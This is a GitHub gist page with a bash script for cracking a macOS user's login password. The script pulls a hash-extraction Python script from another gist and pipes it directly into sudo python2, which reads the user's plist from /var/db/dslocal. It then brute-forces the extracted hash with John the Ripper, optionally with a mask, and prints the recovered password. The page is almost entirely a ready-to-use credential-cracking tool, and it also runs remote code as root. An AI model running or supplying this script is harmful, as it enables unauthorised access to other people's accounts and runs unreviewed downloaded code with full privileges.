Skip to content

Instantly share code, notes, and snippets.

@MartinTintin3
Last active February 15, 2022 20:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MartinTintin3/e5bf3aa19aa3c3f4634dcae243d8b9fc to your computer and use it in GitHub Desktop.
Save MartinTintin3/e5bf3aa19aa3c3f4634dcae243d8b9fc to your computer and use it in GitHub Desktop.
#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Usage: $0 <username> <threads> [mask]"
exit 1
fi
if ! command -v brew &> /dev/null; then
echo "Installing Homebrew..."
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
exit 1
fi
brew uninstall john
brew install john-jumbo
curl -vs https://gist.githubusercontent.com/nueh/8252572/raw/1c5992fccf093dcce13572c6980176864edaf816/plist2hashcat.py 2> /dev/null | sudo python2 - /var/db/dslocal/nodes/Default/users/${1}.plist > ./hash-${1}.txt
rm -f ~/.john/john.pot
if [ "$#" -gt 2 ]; then
echo "Cracking with mask: ${3}";
john --fork=${2} ./hash-${1}.txt -mask=${3}
echo "Cracked password: $(john --show ./hash-${1}.txt | head --lines=1)"
else
echo "Cracking without mask";
john --fork=${2} ./hash-${1}.txt
echo "Cracked password: $(john --show ./hash-${1}.txt | head --lines=1)"
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment